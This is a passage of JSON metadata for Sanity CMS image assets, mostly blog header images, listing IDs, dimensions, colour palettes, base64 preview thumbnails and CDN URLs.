9abb","size":67675,"uploadId":"PJ6gKAFA35bP1RGGGAtVeM3o0gc0oP5E","url":"https://cdn.sanity.io/images/sczeoy4w/production/9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844.png"} {"_createdAt":"2022-06-15T20:02:27Z","_id":"image-a25de79cefdabfb306a8c319450596a4695b5682-1567x844-png","_rev":"sI1gFaRN7B5HWmjllAB1l9","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:23Z","assetId":"a25de79cefdabfb306a8c319450596a4695b5682","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdP?K_.TOEv}xtE-ozo0oHkCxrVsahR*W=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADJUlEQVQokR3Oy1caZxiA8fk/u+2i6y5ST4ltk9QaPE2ribGSaBTUiIoCIipXKyKCylUBZ4ZhgLkI830MCAOIwvv2pIvn/LYPU5PJj4J4v8ILyi4vyDssX3PccdX/40qSQ1abO2K1sRcKBP0u2z+JwPpsKrC5kHJuLMfWrKtes3nG8eLFT7uLliUry1d/ZriStJy75blUpqgn0wWSuMrRWDxDv5lM52mprNCqpNHMdbJ1F/N1SfrIIEmPUYy4Osf7e/rc+/dkYmJCX1yw8FyxZGVqMtkuV+6bpbKCvCBj7raG8asqpm8kLHAyViWKNZliIZ1G5dyDo+gXHAXfYT20hPHwIa6srOKvk5O49GFeL18l3YxGDbtGDU2jXWwQYyyIBlymDYhk+3Ca78NttQ+i1ITseRz4nS/QW38Jo9UfgLjMkI74YNNuH//x5g2uzc61ZF8gyJBmb4s0e4Q0e6hRA+7rBhZKBu7GBzgfGqI/28Vv99eBU7z8vIH19UXs26dRdlswEfbhV7sd/pyexu2/Zx/qe64oQ2h3i9AuIbSDhD5Ak+ioKA0MZwiunxKMZSoosWm8OT7A3LIdNYcb5f19vHB78djjxa/WVVh8+xaP5mbb1OM6YShtbzVpi+hER53QcUtTQb8XQa4IIPA81Ms5oFwUhIgHVK8TeocHIDp94N88BLdtDbY//AXrU6/xxDLf0i+CAaalaVutRkNrNerYbqjjTr0CXZUFQ8mDIWegL11BmzuB2rkLyL8H8BwNwcORFzJrK3Dw8R3YZn4ff5p6jcc2i67nI36mUy1t6yJHSYXDliygoZawrxawL2dwULvEYTWGBhfGenQX9YADx2defA45UHR8xoD1I258mseVhTkMOW3t9t1ZkDHY9Hwzf51SiymRinm2p7Dso1pgH+UsO5RS7JOUYh8rCbaTC7K9xD4/TrjKo4RTbF64RTbqEZMhV/nS76hysYPcQIitMX3x5ruOkP1FL+emOrX85EAtmoZq0fSk5E1Pyo3pWcmZRnLWNKpdvxwLZ78BH54G4dQ8qsTNT5WE+VGMmwfli5mhGH81lq6+/w9Y3tERJBxGmAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393c44","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c3607","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ddc2b2","foreground":"#000","population":7.46,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddc2b2","foreground":"#000","population":7.46,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3a586","foreground":"#000","population":3.9,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a66462","foreground":"#fff","population":1.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48f4c","foreground":"#000","population":2.94,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a25de79cefdabfb306a8c319450596a4695b5682-1567x844.png","path":"images/sczeoy4w/production/a25de79cefdabfb306a8c319450596a4695b5682-1567x844.png","sha1hash":"a25de79cefdabfb306a8c319450596a4695b5682","size":595971,"uploadId":"qE5ZAbqdfsI8eX4YR3vxalMOoTsYEgvZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/a25de79cefdabfb306a8c319450596a4695b5682-1567x844.png"} {"_createdAt":"2022-06-15T20:02:38Z","_id":"image-5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844-png","_rev":"lf1jOsEAA7PAFZMZhZonQy","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:54Z","assetId":"5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMP~.xYR_4DiInAgNYn$xFNw?FVqE2xaXn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADKUlEQVQokR3DfU8adxwA8HtfW7N34BtYsmbpsmTJzLIlzVyxZvtjc7p0dVobO0S22SoPZ01FqYXjSQQGCMgzdwd3cHd4cPc7HgRsEfh+m/aTfCix0fqB5SVrma0fFMuCk6vK9FWrR7f1AV2qiHQgGKWDoRidSGbpXIGjK6xIC0We1mJpusdEaRIvOUWh97LSHL8Q1Zsl6jJXsYTO4hzjP+94mDP9PJIkVaFJ1Haf5PIc2dunyZ+P18mTzS3icL4kgddvSIV2EGPHSvpbu4RYDnXRm+uUuX61rg7+o9KXJYfPHzFO3AweuU7x1BPExEUOK2wDWV7GYCiG6+ubaFpcQsu2BRMHe6j+s4a9g33UTkOo/vsKZasL+Xi1IzeNQypX4GzhSFJjfGH0MmczXyACoXAcUpkiNGQNakITbDYaFn56AJa1VRBsj6BDr4EU9QObzUPDdTLTzDuoBGJGW1aOKUnR7VWhqbO8hFxVBr6m4MdiC+vNPhbKIj7724LfffsNbi18gem/7mFidwV9bhdGg35sHD2Hwd4GXv/PdIdy2UNpZGjXyFDXyBA1MgSdDLGlDbAgDjFSHqE/WsDl35Zx/u4cbs9/is7FOXy2+hAdTidmIkE0mBcwYXZwVg50Z0raS2nG0K4bQ103BkjI9cwgPWi3DLiodOE01YNwvAzPtzdg/f4c2B58Bk+XvoS1R3+Al/FBs1qCmzwD0/wJQj3SReXCQxG9byd6TzM0AzuaPutrKvRbClw1JBD4OjT5ClRjh5CxzUPA/DVsbyyD2WyB6HkIWmIJrtnw7G3ehVPO1wE54aG6suQgdYFo9Rp2lRqO1Bq+UzkcX5XwVsnjrZLFt7wPSWQVC+6f0XPwFN32Tbz0mLGdPcFB3o2j5D7eFo97ICW81IDLPiHFVFotpcSOkGXfKQV20syxUyXDgpL6eCyE2U7KzCqBBaHh+1GV33yv6t77jdHlrjhhveKkeNyYckwO5MQudSPmPx9UM0u9WvrXUT3zcKJkTKCkTKBcmED+MGmaSgnTuEIvjqP3fp/6PrECc8cK0fnHwB+toJxYQSm+ilL8F5CTX70HW5nLV/A2tL0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3b44","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e4e06","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4a023","foreground":"#000","population":4.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddbfc1","foreground":"#000","population":0.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907958","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4a023","foreground":"#000","population":4.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844.png","path":"images/sczeoy4w/production/5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844.png","sha1hash":"5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2","size":325850,"uploadId":"gi3BKFL4owhrGex9qcuztj6PAOmHAvlW","url":"https://cdn.sanity.io/images/sczeoy4w/production/5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844.png"} {"_createdAt":"2022-09-07T06:39:17Z","_id":"image-008c5554f158f97382f4f8e1baacce72c25d930d-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8RZ3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:07Z","assetId":"008c5554f158f97382f4f8e1baacce72c25d930d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96IBs%gMxadt8?w%MM{R*t6xbofa$jsjs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACaElEQVQokV2SaU8aURiFR2QEFSvG4gIurcwwMzpoccMt6getadKmSJFhGAcQ0GitdokfmtYtjV1SY//y08yFGtMPJ/fc5Oa8531yJXnyiNDMCeH0ex7NndIxfUwodUj4WZ3wZJXuZJVwskLvZIW+qQq9pkun5uBPlGjRa0jGflO1xr03fYL58pwV+zuz2Wvhp15fkspcMZ25Yu7NNfPZK+a3L0hnvpLcOiMys4+slWnRq82wOj6tQmuijDSydMxa/opX1Z9s7t6wXrwR4Uv2D9bc32xW79iq/+F57Y6Nyi0z29c8Tr+j1fDa1e8beu3EgNH0ASuZz2xYF6znzkX4QvaS2cwFizvfWC7csOr8Yr18y4rzC/3FF0Kpo2ZA7YGqjcCecYeRuRpPFg4Ynj9gKH3IYPqQ/vRb+hdPiSx9oG/5EwOrZwysfCQ8fUib7q3n4vekOshK8V5Sm2ITVAq0qQ3QQloZnzfRqNMy3lzJ80ZNsPKrLn7FQY7bBMbyBJ7uNM6xPJI3qVV18SVK4rFP23sAex9J90L2GtC1MnLCJajatKsFOhSLzviOkOfbFRtJVndFO0+ebxXfodoEXhe+MaiCrJUI6xaDRpaYkSVq5IjqOaJankG9wICxi9StWkR0m8iEQ5deJKDYgotonigLeWFesGzs0WcWUKa2SUxlUSdzqMk8qllANYsoposUUXOMmkWGUxV6JlyCikVb3BKAvbb/2omGeomeCZtoMs9Q0iJmFoiZRaKmS3SiRGzcRepQC3RpDiHDJai7Ym3/f6t7DL3WgbhFezxPu2IJjsGEQ0BzkfU9oUDC5S8c5mtr0LlHOwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b305c","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":34.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":34.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b7d5","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0d8f0","foreground":"#000","population":0.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45ca4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e25656","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"008c5554f158f97382f4f8e1baacce72c25d930d-1567x844.png","path":"images/sczeoy4w/production/008c5554f158f97382f4f8e1baacce72c25d930d-1567x844.png","sha1hash":"008c5554f158f97382f4f8e1baacce72c25d930d","size":73447,"uploadId":"1fiQ4buc88T0oOe0YPNJ1Zxmu1LPfmlK","url":"https://cdn.sanity.io/images/sczeoy4w/production/008c5554f158f97382f4f8e1baacce72c25d930d-1567x844.png"} {"_createdAt":"2022-09-07T06:39:28Z","_id":"image-8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8S7t","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:17Z","assetId":"8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVQc0T*0XBMcx[KSR%s8j@Nd%MMwR%xGS$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADJklEQVQokSXM3W9TZRwA4PNveauJgSAmXHBhuMRkN0sQY6JxShii5mBEgiWwuG7MTaFfBN34SEcF2m5r19Lv9rSn7Xn7cfqej/c9PW3P6ei69vcz4sVz+wikbXxekzvrUq0VqsrtQL2pBhtKL0haepDqAz+zxpvMGq+ZzPFqur1m6JaXa7qX93prjJpe0xyta6bzQKX2Bmmb3wqlStMbi6fkyMu9fnw/zd5kKzyXr/KKpHCVWszkrqEbQ11pUb1UKOokHdbs13f00fY13dy+q6n7UY3UOrwkdZvpXD0kFMsNfzSWtHYjMTxIZFGqtbCpUGx1DNSMIWrGAGtyC2OxA9x5HMR44GdUty7iyHMK6fVz2Lx5Bet/P8VcIj98k5FeCK2O+VBudM13EaFzqg/A5M47jLtANQ7ZTB4CgSCs3LsL/nUPFLfvzNnOT/PuylfQXLo0r3/3I0qPdvqKVA0LJnd9JneZyR38P3GQWQ5wPkLObOBUhVouCU9CG7Dx2y0I+f+AYjoJaq0EcjQC1V9uAlm8jO3b92xeKYYFZrk+ZjmMcwc5HwHnA7SYjRbro20YOOjUUM+HUXp+HTOhzzD53IuZRByj/0Tw99VVfLD0DWQXL6F+67btFlJhgfOBz+I2+y/oMz63GYOBacDA1GGoq+B0q+BUw+DufQHus9NgvFqGRDgAP1y7Ch9/dAYunj8PoeVlVHx/2keVZFiwTdNnG4ZpGzoODG0+NHowMlRwjC64egvGtAFHnQxMCx6Yh0/Byc5ZkB5ehquLn8DpDz+AhYWF+ZZ3FQsvn/XdxmFYGLUb/j6ROWvJaKtNdDWCY13BI62Jb7U6vtVknFAJp0oEZwdfIzx6H+2V9zD6/VncEL9E39Z9fLX7BJXs68Fx63BXcGtZj1VOZ6iUaXNSVsZUJhNNJhNaJcdUIlNaJtNeiZyoGTKr/UUgukRmvnPE2bxAek9/JY3DiNIu7LeH9UQBuqlN4YgUL4ya+Su2UrjhdMrihEriMZXEKS2LJ72ieNIriLNeTpyrWRG6aREaL0TM3BdxzyPOMn5x0oiLk3bqxrybWkY1/em/68DWhYovZsEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342f4e","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d393a","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f99510","foreground":"#000","population":5.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8c0bd","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad059","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#59608b","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99510","foreground":"#000","population":5.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844.png","path":"images/sczeoy4w/production/8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844.png","sha1hash":"8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0","size":256622,"uploadId":"EOAb5r33iyi25B5LIcPo6LhsOk0OPLbB","url":"https://cdn.sanity.io/images/sczeoy4w/production/8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844.png"} {"_createdAt":"2024-01-16T11:56:31Z","_id":"image-5f162fc084bb084c2c794a661bfa11179037ee06-1567x844-png","_rev":"LQwNRwyj66d52uoiFP9dvP","_type":"sanity.imageAsset","_updatedAt":"2024-01-16T11:56:31Z","assetId":"5f162fc084bb084c2c794a661bfa11179037ee06","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB/klEQVQokV3S+0+ScRTH8e8DjzYewFEoykIdEcKWyM1L0k9trebMtYmhktwKEa2cNlGkyyYiBMg9tH7pX33XY21tbefX1/mcnXMEa7eIGFk3sKnwSk9cIaGQ0pM2sjPEnpF3Bg6H+GSl4qQ6RX2Ktodv81yFBKkxDn3kZsn5OZ3j4xyFAF9mKS5SWqS8QNFDyUPvMd+f0A5Qd3F543tBQdpGPkTxKaVn1FbortNYobFEa5nOMt0lqg+p+PnxnJ8v6AQpT3Jxl6qdmkOwoSM+wraN7DgHTk4D5FwcjvNhnNwE+UmOLOTMlJw0/OrYZxaKFi6sFIcFq4JVibBERCI6QFxHYoCEREoirSGjJavhvUzexPkkX+9TsVN1qMkX1j9YEBa8FKxLRCW2JBKClCAtyAiyEvuDFMyUHTQ9tH10/LRmqDv/w4KoICZU/FpSY/dk3soc6Pg8Ss2tsrb3pnw03IKwhrCWNS0RDRvSXxwXpGX2jRybOTJxbOLMRmOaboBLN3UnrWla04JNPXEziTvEDETlfzgzyMmYuqfze5xNqDO3ffSC6qnqTjo++vOCxAhZO7t20qPEFLZk4lqSMjs6CjYuvTS8VFxU3XSD6m801Uz6C1w/EsRMJIdJDZO8TdJISuGNwrbCroETK7UZmn7KLmoPVNlfVFv0ZrkO/ca/ANdqWQlrFNe+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#905708","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7be6f","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":16.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Postgre_SQL_16_blog.png","path":"images/sczeoy4w/production/5f162fc084bb084c2c794a661bfa11179037ee06-1567x844.png","sha1hash":"5f162fc084bb084c2c794a661bfa11179037ee06","size":84758,"uploadId":"15CCCff2NZjOPFtmP8brJqoLN1mETW4q","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f162fc084bb084c2c794a661bfa11179037ee06-1567x844.png"} {"_createdAt":"2022-05-10T08:33:33Z","_id":"image-7189ff4633c7d898f996888b36eb7e298eecf740-557x300-png","_rev":"02XI3WefYlrst13BoQ2LK3","_type":"sanity.imageAsset","_updatedAt":"2022-05-10T08:33:33Z","assetId":"7189ff4633c7d898f996888b36eb7e298eecf740","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M55~3M?vRkV@ae_N?bRoM{RjSg%1t7RjWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566666666666667,"height":300,"width":557},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACHElEQVQokW3R+W/ScBQA8FIoUDKusqlE2NG13/bblnLIrAE3Mo8FzbKDo5T220IP6hQXNdNEySQm2+ISf/BfNgVNTDT55OX98o68hyVknyp7dyvOamlMSRYlWhmIKAHlBCMFBgm6R251F3rxbTW2rUVZhPN2mBtHmSGW37uonXzb1a6V03nt8PPO0ezh0ezRyezBy4/FurPCqCTdC1rQ/aCSMQgWRYAVASbBGlhx/1NTv33h/Ww7P54YV8/Q9aFze+x8f6peiq1pse6uK/668ion23GACBYRAEUWCBZh9xvn9eOv+8bNc/Nmrz9v9uYH6LqNrh6ffqkcfKi2Lxqdy0Z3TrfeJUQX5x0cujj/G5aWvbzyeqMxpRtnG8qkoPgbzelm821BOcvv+AXlbGv3nG69X9t5ExUnIcH/GxYWvCg/jgFEMhrJDOLsMAaMGEBxDiU5neKHOahTopUu2UnJXQk4yYWU5GAhwcd5N8yNFmewImCZjGKcdQfqoKRCWQUVnakipmqCisGVNb6swfJALKsYLkxwYRKGHh5wlzEM3Sh016QRW0GwavBVnasEYFkT5J5Y6kqljix3sBXezEh2WvZI0SaWw7lRhBsR3CgB7ZTkZMRxFiKK1//QcgurvIbdA71N2SjW7KyISGYQZYYEu3ymGebsxVJu0AuY/8KydGeNU3NQS7EqSfeXxRFg4bwTghMsuOokJHgh+B+/AGYyj8qZcxY3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292a57","foreground":"#fff","population":1.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fb1ce","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e95d4","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f6e8c","foreground":"#fff","population":1.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e35044","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Kafka_Summit_London_2022_a_recap_blog.png","path":"images/sczeoy4w/production/7189ff4633c7d898f996888b36eb7e298eecf740-557x300.png","sha1hash":"7189ff4633c7d898f996888b36eb7e298eecf740","size":29408,"uploadId":"1kKn1lkbJYAy3OP0ym4QVa9eBPZr8rzC","url":"https://cdn.sanity.io/images/sczeoy4w/production/7189ff4633c7d898f996888b36eb7e298eecf740-557x300.png"} {"_createdAt":"2022-09-07T06:39:23Z","_id":"image-44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844-png","_rev":"qnc5Tdg2aSOyO2H2scqd5U","_type":"sanity.imageAsset","_updatedAt":"2022-10-04T07:56:48Z","assetId":"44c6e6f72ae6940ed97438457f5dbc787af33907","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8EZ5%fIAt7Ri_NxaRPkCRjIURPt7kCae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACuElEQVQokU2T61MaBxTFNwoCYhSkgmOtjcDC7gKGVxJpNMakHTH1zfIQ9gFLRGPq2C9mnKg0TTStRfmXfx1g2smHM/fb784951zBI+0zFa/xXayKT6niT+gEHpv4EgaTCZOpZAPfgok3buBbqDOZbOLJvGMs+xvuzAlj2ROcyWOGYi0E+QDhh6xFZu13fto8I7d5xtLOOSuFC5bVK3K7l+T2Lnm2c0lm+4rsbpvF4meeFq9Jq9dk1S8kt9vMLp/iUCyGIibC3NO3PN/6QL72iTXtC3njK1vNWwpH92y+7bBavWalesOreoeXZodXjXt+trq8NO/IVW5Q8uf4nxzhjOrYw1WEucVDlvY+8sa86QN+Pbhnq9Vl96jLRqvLiv43L7Tb/yH/abHyF2L+gvHMe+yyhV3UBsAfl0/JqZ94rX9lvXnH+kGXfPOetUaH1407Vs07XhgdlvV/+uBV45bUdpuZpVPGU0fY5N6pBjaxNgD6n70n+ssZ8fVz0luXPNlt971K7fxBcu8zqcI1iZ0/kTbaxDaueLx5wdzzE9yyiVPUcIk1RsP7uEJlHMESglPSeagYTCganpiON1HHs9DkYbLFWPqY8cwxE5l3TKQP8aQO8aZaeBIWPqVOQDIIRDT84QqeUBFXDzgSquAIFnE+KuB4VMA+X8QWLGML7eOM7DMuVfDHSszEi0zHyvjkXr0MAjGLmZjFtGQyGdUZjWh9HwVPqEBAKuOPVZmIVhgNqjiDan96xQIBucD3cZXZhRLT8QpepcaYbOKWLdxyE1cvEMliSLJ4IFkIU6LKXKLKbLqBN67jDJcZCZZwhEqMhku4IxVckoZDqWNXLGxSA1s/BB2bqH0jneGIjuCK9DbquBUTh2QyHDH7BR2ODuZQtD7Y3PsCucUDqcmwqNO3ar6Ic14dKFhkJFTmX7dwf5Dxema/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293057","foreground":"#fff","population":1.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":21.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":21.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#919fbb","foreground":"#000","population":1.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ca9e9","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#845c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df7b2e","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844.png","path":"images/sczeoy4w/production/44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844.png","sha1hash":"44c6e6f72ae6940ed97438457f5dbc787af33907","size":83463,"uploadId":"BvjK8gYn8Y4umxek5nViDYPNm0eXithc","url":"https://cdn.sanity.io/images/sczeoy4w/production/44c6e6f72ae6940ed97438457f5dbc787af33907-1567x844.png"} {"_createdAt":"2022-05-10T07:54:39Z","_id":"image-f7ad73f62e98dc72009fb41e6f22542c2ddc683a-464x250-png","_rev":"02XI3WefYlrst13BoQ0pBD","_type":"sanity.imageAsset","_updatedAt":"2022-05-10T07:54:39Z","assetId":"f7ad73f62e98dc72009fb41e6f22542c2ddc683a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRQv2kYkw}ROcEB?R5xZX9jF%gMcI:%2bb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856,"height":250,"width":464},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADGUlEQVQokVWM22/bdBhA/dch8YqExMuGkBAXCdZRNHUXrUvVrXRAwxisWim0KlCaLGOs2qpluTSsIUnXpJeluXuOE9ex/bs4jhMny83fh1qeeDg60nk4gqKyCUnWl0VJ/aMsKr+URWWpLCo/iVJjTVH5BmEdHzO7/4Nyx0d410fM3qk3DOb4CXNWKO9cFbI58ed4Il2OxhI8Eo1r0e1/tL93drV4Ik2OsmWmqIw1dOsMndiM0DYzDIvpcoMRSWGkblBDb5mE2hJjrYCQPa4EduIvzUg0jqHIDobCLzAaS+B2LIGpl4eYOcjj060wPnq8ddbS6SMsZfZRCz9Ba2MFrcAD5MkMMlm1OeFhoX5CfZXXKi1V6lgs1dxCsQqFkgz5/+wGQzF3YmLSPXfufXd62uMufn/H3Vy+6x6v3nH5wnW3d+1L17n9LdrBSNOu154LlDt+yh1GWQcJ67iUtYEwGyhtgWGYsJvaw7mbt+DihQs465lGr+cyrsxdxmdrS1h47Ed7+R4Mp65gf95rdXeTIYFxx894h3HeQc7brsltNLmFTd7EJuOoKQrmDg8w9SKGsb9+xeAPU7h17zpu+n7DaDiEr8PPoDt/G8eTU9bgz4chgfOW3+QWM9npwHQtysCiFFrUAJvo0KYNaBMVLK0OPPME6NqHoKx+Codba7Ad3IRUYB3IzA0cfTFpjQLrIcGi1G9RwixiYIvork20s0GHnIBj1MExZHD0KnQ0CXrFCIwefgKj+29BO3AJ5MA3UJi/5NLPPkDnxhWrGXwUFtqK9KApV0xWq6ClSugYMnYNGXu6hG90Ed/oFexrJew3cjioxnGUvIvw+3sIP76Ng6/fwe61d7E7+zmy9ft2NR6MCk7laJHnM0daYf/ElPP1nlap9/WK0tdK9YFWrA61vDhs5MSReiCOlaToikERkosi+C+KuPSRiKtXpfHzVaV9EMoZ2Z11oVc7Pt+WXs02pex3bSW/0NeK3oFW9A61/MKwkftq1MjOjBuvPK6673FP9jxwSi3pgVLYA9